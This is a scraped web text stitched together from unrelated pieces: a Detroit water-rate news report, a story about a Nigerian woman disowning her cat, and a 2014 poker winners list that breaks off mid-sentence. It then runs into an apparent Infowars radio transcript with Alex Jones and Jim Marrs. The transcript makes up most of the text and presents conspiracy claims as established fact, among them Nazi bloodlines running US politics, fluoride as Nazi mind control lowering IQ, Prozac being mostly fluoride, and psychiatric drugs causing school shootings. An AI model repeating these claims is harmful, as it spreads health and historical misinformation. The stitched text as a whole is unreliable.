Detroit — The city’s Board of Water Commissioners on Wednesday gave its preliminary approval of a water rate hike for Detroit water customers.
The projected rate increases — about 3.25 percent for water and 3.5 percent for sewer — are a component of the Detroit Water and Sewerage Department’s budget proposed for the 2016-17 fiscal year that begins July 1.
Detroit Water and Sewerage Department Director Gary Brown noted Wednesday the bump is modest compared with past years and that officials have heard from the water board, City Council and residents that “double digit increases” in rates “was not going to be acceptable.”
“I’m quite proud to present a budget to you that is the lowest rate increase in recent history,” Brown told the board, adding the rate increase is probably the lowest in at least a decade.
DWSD is proposing a $113 million water system budget and $266 million for the sewerage disposal system in fiscal year 2016-17. For the 2017-18 fiscal year, the water budget is slated to be about $115 million and $274 million for sewage.
The lower rate increase is tied in part to the department’s improved collection rate, which officials say has gone from 85 percent to about 90 percent.
“We’re operating much more efficiently than we have in the past,” Brown added.
The department plans to hire 57 additional employees between its customer service and field operations and reduce the number of consultants. There will also be a rainy day fund of about $4.7 million that will further assist the department in keeping rates steady.
Officials also expect volumes will be down about 8 percent for water and 7.5 percent for sewer, which is consistent with the trend in recent years. A portion of the usage decline is tied to efforts to clean up accounts including vacant properties, officials said.
The budget plan now advances to the city’s Financial Review Commission on March 23. Officials on Wednesday said they plan to detail the financial impact for the varying classes of residential and business customers in May.
Officials have said that the average monthly residential bill in Detroit is $75.
“The typical customer in Detroit … is going to pay less than $2 more for water and sewer than they did last year,” DWSD’s Chief Financial Officer Marcus Hudson said.
Last July, a divided City Council narrowly approved an overall 7.5 percent increase in water rates for city residents. The move raised the average residential customers bills by about $5.33 per month.
Separately, officials with the new Great Lakes Water Authority said earlier this month that most suburban communities will pay more for water this summer.
Sue McCormick, CEO of the Great Lakes Water Authority, has said that the average wholesale customer will likely see a 4.5 percent increase in the charge for water service.
The increase included in the 2017 budget, which could take effect July 1 for most communities, is needed to offset a 0.3 percent drop in water usage, she said.
Metro Detroit homeowners’ water bills will likely be higher since many communities tack on additional costs to wholesale charges to cover their own infrastructure and operating costs.
Now as a wholesale customer of the authority, it’s expected that Detroit will pay the GLWA $15.5 million for its water service in the 2016-17 fiscal year.
The authority is working to set its 2017 wholesale water and sewerage charges for communities. Its charges for water service are a combination of monthly fixed costs and water usage. GLWA officials said 60 percent of what it charges a community is a monthly fixed cost and the rest is metered usage.
The GLWA was created last summer when officials with the state, Detroit and Oakland and Wayne counties agreed to turn over Detroit's water and sewer system to the authority for the next 40 years under an agreement reached as part of the city’s bankruptcy.
Under the deal, the authority is the water service provider for Detroit’s suburbs, while Detroit residents continue to be served by the city’s water department. The authority provides service to about 3 million customers in the suburbs. DWSD serves about 250,000 residential and commercial customers.
The agreement also calls for a 4 percent cap on the GLWA’s budget, meaning it cannot rise more than 4 percent. The authority projects its 2017 budget to total $795 million and forecasts its 2018 budget will be 4 percent higher, or $827 million.
In June, the authority’s board voted to lease the water and sewage system from Detroit for $50 million a year plus about $50 million a year toward pension costs and a fund to help struggling customers pay their bills.
Read or Share this story: http://detne.ws/1puDYqsNigerian Woman Disowns 'Gay Cat'
A woman in Lafia, Nigeria, became the subject of bizarre headlines throughout the blogosphere after she publicly disowned her male cat because she believes he is gay, reports Nigerian newspaper Leadership.
The middle-aged woman, whose name was withheld, claimed her pet of seven years was exhibiting “an unnatural sexual behavior” and gave her a great deal of concern because it is “a contradiction of the laws of nature.”
According to the woman, the cat — who she had named Bull — was ignoring the female cats in her home in favor of male cats to whom he would regularly make sexual advances.
“Anybody interested in the gay cat can have it because I have no further use of it,” the woman said to the several neighbors who had gathered outside as she ceremoniously renounced her longtime pet.
Reportedly, several neighbors attested to the cat’s sexual orientation, claiming the story was credible because no kitten born in the woman’s home over the past seven years had Bull’s color, proving he was unwilling to mate with the female felines in his home.
While other people in the area were said to be cracking jokes about the woman’s reason for disowning her furry friend, no neighbor stepped up to adopt the cat after his guardian publicly rejected him.
The woman’s public renunciation of her cat comes after the president of Nigeria signed a bill into law declaring that any citizen who marries someone of the same gender could be imprisoned for up to 14 years.Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
The poker boom is years past but that doesn't mean there aren't millions of dollars still flying around the world of major live poker tournaments.
Already this year 11 players have become millionaires and today we profile the top seven.
Here's our list of the top seven winners from 2014 so far:
1. Mike McDonald - $4,327,428
Canadian Mike “Timex” McDonald broke into major live tournaments when at 18 years old he became the youngest player to ever win a European Poker Tour main event.
Since then McDonald has amassed over $10 million in live tournament earnings, and has already snagged three seven-figure scores in 2014.
Timex started the year at the PokerStars Caribbean Adventure where he finished 8 at the final table of the $100k Super High Roller for $217,230, before finishing runner-up to Dominik Panka in the $10,300 PCA Main Event for a cool million - a performance that saw him coming so close to becoming the first-ever two-time EPT Champion.
He then travelled to Melbourne where he secured a further $1.3m after finishing as the runner-up in the Aussie Millions $100,000 Challenge and then finished second to Phil Ivey in the $250k Super High Roller for $1.7 million, the biggest score of his career.
2. Phil Ivey - $3,582,753
The man most agree is the best poker player that ever lived kicked things off in a big way this year with a $3.5 million payday at the Aussie Millions.
Ivey defeated Mike McDonald to win the $250k Super High Roller Challenge and even though it's his only score of 2014 it's enough to put him second on this list.
Ivey has an astounding $21.25 million in career live tournament earnings which puts him second to Antonio Esfandiari on poker's all-time money list.
3. Fabian Quoss - $2,405,791
Fabian Quoss is a member of the German Super High Roller crew that has taken over the elite tier of live tournament poker.
Quoss has over $5.7m in live tournament earnings, and makes the cut for this list after a marvellous performance at this year's PCA.
He took 26th place in the $25,500 High Roller event for $59,300 and then secured his first-ever seven figure score to date with victory in the $100,000 PCA Super High Roller for $1,629,940.
Quoss continued to the Aussie Millions where he placed fifth in the $250k Super High Roller for over $700k.
4. Dominik Panka - $1,794,594
The young Pole has come from absolutely nowhere to become one of the hottest properties in poker in 2014.
He started out the year by surprising everyone when he defeated Mike McDonald in heads-up action to take the $ |
no, it was to be an American and British, Anglo-American New World Order.
JM: Yeah. It was, (singing) ‘We Bring the World New Order, Heil Hitler…’
AJ: (impersonating) Adolph Hitler’s New World Order!
In fact, pull that up. Go to You Tube, guys! Google on You Tube, “Disney Cartoons, New World Order,” and it will be Daffy Duck getting mad as a secret agent, blowing up Nazis, and the Nazis are always going, ‘Heil Hitler, Heil Hitler, New World Order, New World Order!’ Anyways.
JM: And the song, ‘In the Fuhrer’s Face.’
AJ: That’s it, ‘In the Fuhrer’s Face.’ Is this not the land so good! We would change it if we could!
1911: Cartoon by Robert Minor has Wall Street embracing Karl Marx.
JM: So there you go. The older generations that had a better education and a more classical education than we have truly understand this. I mentioned in an earlier book of mine, Rule by Secrecy, there was a St. Louis Post Dispatch cartoon in 1911 that shows all the Wall Street bankers and John D. Rockefeller and Mellon, and they are all shaking hands with Karl Marx. They clearly understood that these guys had created them.
AJ: They would fund any movement to con serfs into killing the ruling elite, and then handing it over to the bankers. And the bankers wrote all these declassified documents on that.
[Disney cartoon plays: “The Fuhrer says this is the master race. Heil, Heil, in the Fuhrer’s face. Not your love der Fuhrer is a great disgrace. So we heil, heil, right in the Fuhrer’s face. When Herr Georbells says we own the world and space, we heil, heil, right in Herr Goerbells’ face. And Herr Goering says, they’ll never bomb this place, the heil, heil right in Herr Goering face. Is he not the superman? Aryan superman. Super Duper Superman! Is this not the land so good? Would you leave it if you could? Not this Nazi. We would leave it if we could. We bring the World New Order. Heil Hitler, New World Order. We love the Fuhrer’s face, and we bring the New World Order. Herr Goering says they’ll never bomb this place, heil, heil right in Herr Goering’s face.]
AJ: Cue that up again where they have Hirihito say ‘Adolph Hitler’s New World Order.’
Because you need to understand Hitler wrote another book called The New World Order. HG Wells wrote one called the New World Order. There was a debate about how it would work. It would be a micromanaged society controlled by social workers and paramilitary policy. And we’re going to get into so many issues – sponsored terror where the government would blow stuff up and blame it up on their enemies, a Nazi specialty. National police force, Nazi specialty. Bankrupting companies and the government, Nazi specialty. On and on and on and on. This is what we’re dealing with.
And the people that were top Nazis in the U.S. were also the people that killed Kennedy and truly brought in shadow government to full dominance through COG. And now they’re just fully butchering the nation in front of everyone. We have multi-time New York Times bestselling author with us. He of course has written the Rise of the Fourth Reich. It is currently on the New York Times best seller list, only been out a few months. It is available at www.Infowars.com discounted, out of the gates, if people want to get it. And we’ve only been giving you the history. The book gets into the present, and just so much. We’re only scratching the surface today. We’re also filming live in here for a documentary film I’m making with Jim Marrs that Jim is going to be narrating.
Jim, continue.
JM: Well, most people know about Operation Paperclip which was the way they brought in Nazis into the country, put them to work on our space program, our mind control experts working for the CIA with programs such as MK ULTRA. All that’s history. But where they began to make their move in the political arena actually was probably with the assassination of President Kennedy.
When I began to write my book the Rise of the Fourth Reich, I was looking at the historical and political situation and circumstances. It never crossed my mind that I would be considering the Kennedy assassination again. And yet the same names, the same companies, the same corporations, the same secret societies kept cropping up until I finally ended up writing a whole chapter on Kennedy and the Nazis.
AJ: Now see, that’s key, that’s key! Because in pure research – I don’t talk to you a lot and you don’t talk to me, and before we ever met we had come to the same conclusions; because if you do pure research, you come up with the same answers basically if you are correct. I mean, let’s say we’re both doing research at what temperature water boils – we’re going to find the same thing. We’re going to find the same individuals.
So explain that. That’s key. I’m making a film about the JFK assassination and you’re already in it as a consultant, and then separately I’m doing my own research before I read Rise and Fall of the Fourth Reich and before your book even comes out, I say, “Jim, aren’t the same players involved in the Kennedy assassination?” You say, Yes, on the air, about six months ago. You said, “That’s actually in my upcoming book!” So now, that’s been incorporated in the JFK film. That’s how integral this is to everyday life.
Please continue.
Members of the Warren Commission on September 23, 1964.
JM: That’s correct. Well, to begin with, two of the most powerful and influential members of the Warren Commission were John J. McCloy and Allen Dulles, two of the men who were most instrumental in supporting Hitler before, during and after the war.
And again, you have to understand, we’re not talking about that these are all Germans. These are global fascists. And let’s get that term nailed down. When I say “fascists” I use it advisedly. Look in the dictionary. The dictionary definition of fascism is “the combination of state and corporate power, usually fueled by nationalism.” Okay?
Now, Mussolini himself, who coined the term because it came from his Blackshirts, the Facistas, he said that maybe fascism isn’t the correct term. He said the more correct term is ‘corporatism, rule by the corporations.’ I think any thinking person today knows the United States is now under the control of these multinational corporations. What I’m trying to tell you is, they were either created or bought up by these displaced National Socialist Nazis after World War II, and they’ve been slowly buying up. The big fish eat the little fish, until now there’s just a handful of these corporations; and they’re all controlled by the same families, the same companies, the same bloodlines, who were connected to the rise of national socialism in Germany.
AJ: Now we’ve gotten up to 1950 or so. In the early 1950s the Bilderberg Group is set up, and that gets set up by Prince Barnhart who was a German prince who then married the queen of the Netherlands of the House of Orange. He was an SS officer. Then in the middle of the war he jumps over to the British side there with his cousins, and then Bilderberg tries to set up a world fascist state integrating the parts in together, always the same thing over and over again.
Break down the Bilderberg/Globalist connection.
JM: Well, you pretty well nailed it right there. When Prince Barnhart of the Netherlands, who had been a Nazi SS officer, jumped ship and came over to Britain, you could probably mark that as about the time that the New World Order turned against Hitler. It was not that they were against the Nazis, not that they were against national socialism. Heck, they created them. But they didn’t want Germany leading the financial world order.
AJ: His first cousin was Prince Phillip who was already married to the queen, so.
JM: Exactly. And of course the Windsors, who by the way are blood relations to the Bushes and to Al Gore and to John Kerry –
AJ: And to Barack Obama.
JM: And Barack Obama. It’s amazing, the same bloodlines. And so once they decided they had to turn on Hitler, then they began to come up with another New World Order, which was to create National Socialism in the West and continued funding communist socialism in the East until communist socialism finally collapsed in the early ‘90s under its own dead weight.
AJ: That turned out, the Rockefellers and the Armand Hammers, they owned the big aluminum plants and tractor plants. They were propping it up, and American taxpayers the whole time were paying for it.
JM: Exactly. It blew my mind being a veteran of the Vietnam war to find out that at the height of the Vietnam war when we were fighting North Vietnam and said it was just a surrogate of China and Russia, Lyndon Johnson was sending more American aid to Russia than we had during World War II when they were our allies. And they were using American tax money to build facilities in Russia like the Kama River Truck Factory, and they were cranking out war materials to send to North Vietnam to use against our own soldiers.
AJ: And the North Vietnam trucks were Fords. Ha, ha, ha!
JM: Exactly. Business is business, you know.
AJ: That’s where they make the money. They sell both sides on war, and then the bankers basically through the governments tax the people, and that’s kind of the old fashioned “bail-out.” Now they just declare an economic emergency, sucker the public or the Congress they own into paying literally everything into them.
Sept. 27, 1933: The Reichstag fire.
JM: Right. And one of the Nazis’ biggest weapons of choice was fear. In early 1933 Germany was a democratic republic, but a few weeks later their Parliament building, the Reichstag, burned and was gutted by fire, which in those gentler days was actually as big a shock to the German people as 9/11 was to us. And Hitler, who was only the chancellor, kind of like our vice president, said, “Well, give me the power and I will go after these communist terrorists who did this!” Well now it’s pretty well acknowledged that the Nazis themselves set the fire in the Reichstag, and this was an early day false flag operation.
AJ: By the way, a big European court just three months ago did exonerate Marinas Vanderlubbe, the guy they’d set up for that, and did say it was the Nazis. What we do know is that there was another operation that was documented to have been a false flag, and that of course was Gleiwitz. People always ask, “Well, how did Hitler just out of the blue attack Poland and get the Germans to accept that?” Well, see, there was an al Qaeda attack, but it was called a Polish attack. Of course it later came out in the Nuremburg trials it was all staged. I want to tie together the Nazis’ love, the corporate fascists’ love of a false flag and psychology because they are great social architects. And the PhDs in psychology, psychiatry came out of Germany and England.
We only started with what was happening, and I want to get into current things, because that’s what really matters. I want to get into some of the history, we skipped ahead. I’m trying to get this straight – going back to the Germanic style death cults and the British East India Company tied in with the Germans, setting up Skull and Bones with all its bizarre Germanic death cult. And World War I we have the war generals, the field marshals wearing the big skull helmets like something out of Skeletor.
You’ve got the floor. Talk about that.
JM: Well of course all the Bushes, Prescott Bush, George Herbert Walker Bush, and George W. Bush, were all members of Skull and Bones, which is just the unofficial name of this secret society up on the Yale Campus. But when they did an investigation of Skull and Bones they found out its proper name is Chapter 322. Well, Chapter 322 of what? Ron Rosenbaum of the New York Times found out it connected over to a German secret society, and of course that was the Illuminati. So you’ve got the Illuminati, and then members of the Illuminati and other German aristocrats were members of the secret society called the Thule Gezelshaft, or the Thule Society, that believed that in the far distant past ETs had come to the earth and produced a super race of Aryans. And that’s where their whole Aryan superiority thing came from.
And it was the Thule Society that was headquartered in the Four Seasons Hotel in Munich that was the original big supporter of Adolph Hitler. So there is definitely this occult side to Nazism which nobody new about when I was young man. But in recent years there’s a lot of books now and even DVDs about the occult aspects of the Third Reich.
AJ: And let’s be clear, let’s be clear. We’re not saying any of this is real! And I know you’re not. What we’re saying is, this is a fact, this is mainstream information that you have this bizarre Germanic death cult that believes they are genetically engineered by extra terrestrials. This goes back hundreds of years. How did they come up with this! And Hitler is an adherent of this, as this young army officer in army intelligence setting up this Nazi death cult. You already have branches of it here in the United States with the Bushes and all of them in it. That’s why you have this international network. So we were going back. But that is a mainline fact.
NASA’s Apollo program.
JM: Right. And it doesn’t matter whether you believe in that or not or whether Alex or I believe in that or not. The fact is, they do. And that’s why they practice these rites. That’s why you have Bohemian Grove with the worship of the owl and the phony, if it is phony, sacrifices. And what I found out, and I also detail this in my book the Rise of the Fourth Reich, throughout the Apollo program, some of our major space missions, the date and times for those launches were set not on any scientific criteria but on the alignment of the constellations – in other words, by astrological alignment.
AJ: They admitted that about the Olympics this year on 8/8/8 at 8/8/8 with 8/8/8 drums. And of course who designed the modern Olympics? The first big one was 1936 in Munich. Hitler drew the rings, Hitler drew the torch. He designed all of the rituals around the different Germanic death cult societies. So that’s all this weird UFO cult having this ritual. And then was it 1980 or ’86 Olympics they had the 8/8/8 and they had fake aliens landing. This is a crazy UFO cult.
JM: That’s another whole topic, but they are conditioning us to that. The point again is, it doesn’t matter whether you want to believe in that. The point is, somebody who has the power to set dates, times, symbols for the international Olympics, for the U.S. and Russian space programs, they do believe in it. And that again points to the secret society groups that truly believe in that, which are the National Socialists, the Nazis.
AJ: Again, folks, this all sounds totally insane. We are not saying that Aryans or people from northern Europe are really these super humans. What we’re saying is, they believe this. This is even on the History Channel with Hitler and the Occult. This is mainline information. And the point is, this system came over here and dominated.
Now let’s skip ahead. Let’s get up to the ‘50s and ‘60s and the Kennedys and what happened there.
JM: Well, Kennedy was one of the few people who probably was in a position to know what was happening here. He got his start as a young man, first came to public attention writing a book called Why England Slept, and it was all about why England was going along and allowing the Nazis to gain power and prominence and going along with them. So he understood what was going on. And by the time he became president — essentially on a fluke because he was running against Richard Nixon in 1960. Richard Nixon got his start in politics with Nazi money, a Nazi by the name of Molaxa.
AJ: And he was good buddies with Prescott Bush. He was a protégé of Prescott’s.
JM: Exactly. So that was their attempt to worm their way into politics. But Kennedy got elected because he was charismatic and he had lots of money, and the youth got behind him.
AJ: And he had the mob.
JM: Exactly. And so at least that was a homegrown mob, not the Nazi mob. And he began to take steps that were thwarting the Nazi plan. He was beginning to go into joint space exploration with the Soviets, ending the Cold War. He was going to pull us out of Vietnam. He was closing the loopholes for the international corporations, and in fact in June of 1963 he ordered $6 billion issued not to through the Federal Reserve system that we have to pay interest to but through the Treasury, which we don’t have to pay interest to. So in other words, he was trying to curtail the power of the bankers. And of course in November, he’s shot in Dallas.
AJ: Now going back, we have the Continuity of Government system, the National Security State takeover at that point. He also got approached by Dulles and by Lyman Lemnitzer, the chairman of the Joint Chiefs of Staff, about staging a terror attack, Operation Northwoods. And that’s when he really turned against them!
JM: Right. They wanted to launch attacks in Miami and in the southern United States, target U.S. citizens for assassination, hijack planes and ships, and blame it all on Castro so they could mount another Bay of Pigs type invasion of Cuba. And that was actually approved by the Joint Chiefs of Staff. Kennedy said, We don’t operate that way, and he turned them down. That was another straw that broke the camel’s back.
Well now, with Kennedy out of the way, Johnson, who could be bought, was in the seat, and he was run by his council of “wise men,” all of who were members of the Council on Foreign Relations. So this is where they begin to consolidate their power. And of course the Warren Commission with John J. McCloy, Allen Dulles sitting on it, can whitewash the whole thing. They blamed it all on that snook Lee Harvey Oswald.
Then in 1972 when Bush took over, they got back on track, okay? As president, Bush wiped out the leadership of the Republican National Committee.
AJ: Let’s kick off with Nixon appointing George Herbert Walker Bush.
Ronald Reagan and George Herbert Walker Bush.
JM: In 1972 President Nixon appointed George Herbert Walker Bush chairman of the Republican National Committee, and basically wiped out the Republican leadership but told them, keep Bush. So Nixon and Bush are both connected back to the same globalist fascist who created communism and the Nazis. They are National Socialists. Under Bush both as chairman of the Republican National Committee and later as vice president under Reagan, he enlarged the GOP’s ethnic committees and rolled all of the European fascists into the Republican party.
Now here’s what’s important about that. Nixon’s chief White House counsel, John Dean, had written a book recently called Broken Government and said, it’s been new on Capitol Hill since 1997 when the GOP gained control of the House and it’s been new to the White House since 2001 with the arrival of George Bush and Dick Cheney, but its roots first emerged during the Nixon presidency and began blossoming in the Reagan/Bush senior years. What was he talking about? Neoconservatism! Okay?
But you have to understand that neoconservatism is simply National Socialism.
AJ: And they followed Strauss, who was an admirer of the Nazis, and then went to the Chicago Business School. And they admit that. They say per Machiavellian, ends justify the means, killing innocent people is okay, staging terror attacks are okay. So again, it’s a ruthless mind-set. And look at it – black uniforms, Homeland Security which means Reich Security. That’s what they called it in Germany was Homeland Security, or Land Security. This is just unbelievable. And then it’s admitted – G. Gordon Liddy admits a lot of this. It came on a bunch of TV programs, came out in the hearings, with them all in the basement watching Nazi propaganda. Tell folks about that.
JM: Right. Well, that’s where it all began. And then it began to blossom in the Reagan years. And although Reagan was probably a traditional conservative, if you’ll think back during the campaign of 1980 –
AJ: They forced him to take Bush.
Reagan assassination attempt.
JM: Exactly. He had pledged that he would never allow George Herbert Walker Bush to be in his government or his administration, and yet by mechanizations and coercion they forced him into accepting Bush, and then less than two months after he took office he was shot! And if it hadn’t been for the fact that he barely survived, Bush would have been president. But he did survive, and Reagan went on. And I think Reagan understood that he was not in control because in 1985 there was a big hubbub about him going to Germany and laying wreaths in the Bitburg Cemetery where Nazi Waffen SS officers were buried. And Jewish groups and veterans organizations raised Hell about that. But he did it anyway! Why would a politician do something that was so opposed by so many people? It was because his Nazi masters told him he was going to do that.
And then we come on forward to today, and we now have the spectacle of the 2008 election. And you vote for John McCain and you’re going to get right wing socialism, or you can vote for Barack Obama and you’re going to get left wing socialism. But the National Socialists are there because socialism is what it’s all about.
AJ: Let’s explain. The big bankers want to train us and domesticate us with social engineering to pay our money to them so they can steal it. Look how the bankers right now are getting the bail-out. That’s socialism for them! That’s why it’s communism for them, not for us. Then they use our tax money to militarize the police.
Talk about that. Talk about the Nazi fascist component that came out of England and Germany with the social engineering, with the PhDs that come out of Prussia. That’s the micromanagement, the control.
JM: Well, I think most people understand about communism and bald-faced socialism. Where they’ve gotten really thrown off the track again is this infiltration of neoconservatism within the Republican party particularly and among the nation’s conservatives. Most people who consider themselves conservatives, if you really talk to them, they are constitutional conservatives. They want less government, balanced budgets, border security, family values, less government. And yet they are confused today because they keep voting for these people like the Bushes who claim to be compassionate conservatives, and all they get are more and more socialistic programs plus foreign wars of adventure –
AJ: Take John McCain. He’s for open borders, for gun control.
JM: War for 100 years.
AJ: He was part of the Keating 5, and then he claims he’s anti-corruption with Wall Street? But let’s continue. We didn’t even get into all the Nazi symbolism that’s happening.
JM: We also have not touched on the drugging down of America by Nazi methodology. I.G. Farben back in 1800 was actually marketing an antidepressant under the name heroin until finally enough people said, don’t do that. In the aftermath of WWII, a U.S. chemist named Charles Eliot Perkins was sent to Germany to try to reconstruct the I.G. Farben combine there, and he came back and wrote that the German chemist had worked out a very ingenious and far-reaching plan of mass control that was submitted to and adopted by the German general staff. And this plan was to control the population of any given area through mass medication of the drinking water supplies, namely using sodium fluoride. So they put sodium fluoride in the drinking water of the concentration camps to keep the inmates passive and nonresistant.
AJ: Then in the 1950s under COG and under National Security they put fluoride in our water and called you kooks if you didn’t want it. But it’s in a Pulitzer prizewinning book, and it came out in the Nuremburg trials, that the Nazis were putting it in the water and so were the Soviets.
JM: That’s right. Today two-thirds of the water supply in this country is now fluoridated. Think about this. One of the most over-prescribed drugs today is Prozac, which is 94 percent fluoride.
AJ: It’s made out of fluoride.
JM: But to get Prozac you have to go to a licensed physician and get a prescription, and yet undocumented, unlicensed city workers are dumping fluoride into your water supply.
AJ: And not just fluoride. Sodium fluoride, which under law the term fluoride, they are allowed to take all the toxic waste, lead, mercury, that’s mixed in with it. Folks, you can’t make this stuff up.
JM: That’s true. And then they talk about the dumbing down of America. Well, it’s not that we’ve gotten dumber. It’s the fact that we have been drugged dumber.
AJ: Absolutely. In fact they’ve got studies in areas of Europe that have been fluoridating, England and the U.S. for over 50 years. They have maps, on average, a 20 point IQ reduction in areas where they’ve had fluoridation.
JM: That’s correct. And one of the big issues today that people are genuinely concerned about is the increase in teen suicides and school shootings. We’re all concerned about that. And yet if you go back, the only thing the mass media, the corporate media can talk about is gun control, take guns away. Well, hey, a lot of people listening here in Texas, if you’re over 40 or 50 you remember a time when we all had guns and nobody ever shot anybody. The problem is not the guns. The problem is the drugs, the Prozac, the Ritalin, the drugs –
AJ: In fact the Prozac insert says it causes depression and violence.
JM: Exactly. In fact if you go back you’ll find virtually every school shooting involves someone who’s either on these psychotropic drugs or just coming off of them, which apparently is even worse. And yet the media will not talk about that. Why? Because in 2007 the pharmaceutical corporations that can be tracked back to IG Farben and the Nazis spent $3.7 BILLION dollars on consumer advertising.
AJ: Ladies and gentlemen, it is not Alex Jones saying this. As I look at www.infowars.com, mainstream media is quietly announcing the U.S. army is to patrol streets to deal with the American people. They actually say, “We hope we don’t have to shoot you,” in the Army Times publications. They are quietly announcing, this is marshal law. Bloomberg, the financial headline, link at www.infowars.com : “Bush Seeks Dictatorial Power in Bail-out, All By Design.”
We got the IMF and World Bank documents. We warned you. This is it, ladies and gentlemen. This isn’t a joke, this isn’t a game, this isn’t a drill, this is toe-to-toe info war with the New World Order.
They’ve got control of the federal government, they’re going to claim you owe these trillions of dollars, they are going to rape you financially, and I’ve got a politico here reporting ABC News today reported that foreign banks will “be bailed out.” That means your whole future is being signed over to them. This is not a bail-out.
But it doesn’t matter. A lot of you want to keep laughing about all this. You want to giggle and smirk. You don’t know they’ve really built FEMA camps. You haven’t been to the urban warfare drills like I have where the troops are trying to take your guns. You haven’t interviewed police chiefs who Delta Force tried to secretly bribe. This is what the Nazis did in third world countries. They would go in and buy off the local governments. They’ve done that now here.
In the 8 or 9 minutes we have left with Jim Marrs I hope everybody will visit www.inforwars.com, www.prisonplanet.com, and get his amazing book the Rise of the Fourth Reich. We’ve probably covered 5 percent of what’s in the book. It is such an amazing book to really understand what we’re facing.
The group that put Hitler in is the group now in control, and they are using that model, minus the racial politics. They use the more divide-and-conquer British model there. In closing, the COG, Continuity of Government, National Security State, in your words, using those terms for the film, get into that, Jim, and what their end game is, the population reduction, what they’re going for once they get their world fascist government.
JM: Well, during the Ronald Reagan years probably while Reagan was recuperating from being shot, he signed a secret executive order that created a program called, innocuously enough, the National Program Office. And Rumsfeld and Cheney – Cheney had been chief of staff to Gerald Ford and Rumsfeld had been his Defense secretary. And they would slip away, and they created this Continuity of Government program which basically was how to survive a collapse in the United States or a nuclear war.
One of the awkward problems they faced was, What about Congress? And they finally decided that after some catastrophic event in the United States, it would be just too time-consuming to try to bring Congress in. So Congress was just bypassed.
AJ: And now, people always wondered how this would be introduced. In the name of the economy it’s now being done, but Bush signed John Warner Defense Authorization Act to use troops against the American people two years ago. He signed PDD51 and Congress asked to see it, and he said, No, you have no authority, when they are coequal. Can you speak about that?
JM: Well, exactly. He’s destroying the checks and balances in the federal government, and bringing everything into the Executive, which of course is again following the Nazi methodology. This is what Hitler did. He signed emergency decrees, one after another, until finally he just took total power and anybody that tried to stand up against him then was a “terrorist” against the government. And that’s important for people to understand. What the Nazis did, when they killed dissidents, when they killed homosexuals, when they killed gypsies, when they killed trade unionists, when they killed the Jews, this was all under the color of law.
AJ: And it was setting precedents because once they really got going it was about stealing the general public’s land and money, and they were like, Hey, I was with you. And they are like, No, you’re not; we’re here to predetate on you.
JM: In the ‘30s the National Socialists gained the support of the middle class Germans and middle commercial Germans because they portrayed themselves as conservatives. And they got the bulk of the commercial people behind them, and then by the time these people figured out that these are not the people we want leading, it was too late. And I see the same thing happening today.
AJ: I want to go back because the eugenics, the family planning, this was all set up by German PhDs out of areas in Germany. Then they linked up with the British eugenicists, and then that really flowered in the U.S. So all the social engineering, the human genome, the head of that just got in trouble calling blacks “subhuman” and he’s of course a Nazi basically. Break that down, what the master plan is, and speak about eugenics.
Eric Arthur Blair, aka George Orwell.
JM: If you want to know what the overall master plan is, all you have to do is go back and read the work of a British Fabian Socialist who wrote a book in 1947. This fellow’s name was Eric Arthur Blair, but we know him better as George Orwell. And he wrote a book called 1984. And in there I think he laid out the game plan for these global fascist socialists. And that is, to split the world into three economic blocks. He called it Oceana, Asiana and East Asiana. Today in the real world it’s the European Union, the soon-to-be North American Union, and the future Asian Union.
AJ: Of course he was British Intelligence.
JM: Oh, yes, and connected to the aristocrats. He knew what the game plan was. And so the idea is, they will have these three economic blocks. Everybody will be computer chipped, they will be followed, they will be surveilled. There will be no freedom except the freedom to go to work and pay your taxes.
AJ: And one-child policy. Through the water and food they carry out soft kill operations. Can you speak to that?
JM: Exactly. This is what they’re doing with the drugging down of America with fluoride and aspartame and other deadly –
AJ: It’s all over a 100-year-old public German plan.
JM: Exactly, which they laid out. Then what was written about in a very popular book in 1948 called 1984.
AJ: The Germans in WWI and WWII said, We’ll break off the Southwest. They taught the Mexicans about Aslan, their mythical kingdom. They attacked the U.S. in WWI and WWII, and nobody even knows Mexico on behalf of German attacked the U.S.
JM: That’s true. That’s true, because nobody knows history because our education system has been dumbed down going all the way back to the National Education Board which was created by John D. Rockefeller, one of the architects of this national fascist global system.
AJ: You do have to hand it to them though, these people really got their stuff together.
JM: Well, they’re not stupid. They are in fact very brilliant, but then brilliance, as we found out with the Nazi leaders like Albert Speer and Heinrich Himmler and Adolph Hitler himself, just because you’re smart or just because you’re charismatic does not mean that you’re the fellow that needs to be followed.
AJ: Or that you have wisdom or that you have a soul.
JM: Exactly, or any kind of heart. They keep talking about Barack Obama. He just somehow vaguely talks about change, and all they can talk about is how charismatic he is. Well, they tend to forget because they don’t know history that Hitler was very beloved by women, children; animals loved him. He was a very charismatic person on an individual basis, and yet look what kind of disaster he led his nation into.
AJ: Getting into secret societies – and, folks, it’s mainline that the Nazis were into weird occult stuff, and Skull and Bones is real and a branch of that.
Black Sun. They don’t like us talking about that. Tell folks about Black Sun.
JM: Well, the Black Sun is one of the most sacred of the occult symbols of the Thule Gazelshaft, the Thule Society, occult society and its successor the Black Shirted SS or Schutstaffel. The Black Sun represents the black energy at the center of the universe which the German Nazis and their occult followers hoped to tap into and draw strength from. What’s amazing is, that in the heart of America in Nashville, Tennessee, right in the middle of their Centennial Park, is a huge black globe made out of onyx or some black hard material that represents the earth. And it spins on a small thin cushion of water, and when the sun comes out it’s blinding, and it is a WWII memorial that was donated by German. So it’s almost as though they planted a Black Sun in the heart of America going na, na, na, na, na, nah. Okay? It’s amazing.
And then we look around at other things. We can look at our 57 cent stamp and see the German gothic eagle. We look at our troops today who wear camouflage and flanged helmets called the fritz that are German helmets from WWII. We see our police forces who no longer wear blue and carry the word “To Serve and Protect.” Now they wear black and shields and tazers and if you get out of the free speech zone they tazer you.
AJ: Which is what Germany did: they said free speech only in these areas. What about also we see them after WWII in the Senate bringing the Fascia in? That’s a symbol of fascism, the bundle of sticks with the hatchets on top.
JM: Right. And the Fasciae goes all the way back to the Roman Empire and represents central authority.
AJ: That’s where the “heil” comes from, the Roman Empire.
JM: Hail Caesar, and they Germanized it to Heil Hitler. Exactly. So it’s the same old thing. If you go back and think about it, Alex, throughout the history of the world there’s only been two true forms of government ever attempted. Briefly, in ancient Greece and briefly in North America they tried participatory democracy, but both of those finally fell away and we went back to the one true form of government occupied that’s taken over in the whole history of the world, and that’s central authority.
AJ: Jim Marrs. The new book, New York Times best selling list – get it in stores everywhere – the Rise of the Fourth Reich, available at www.infowars.com.
Quickly give us your website.
JM: It’s www.JimMarrs.com
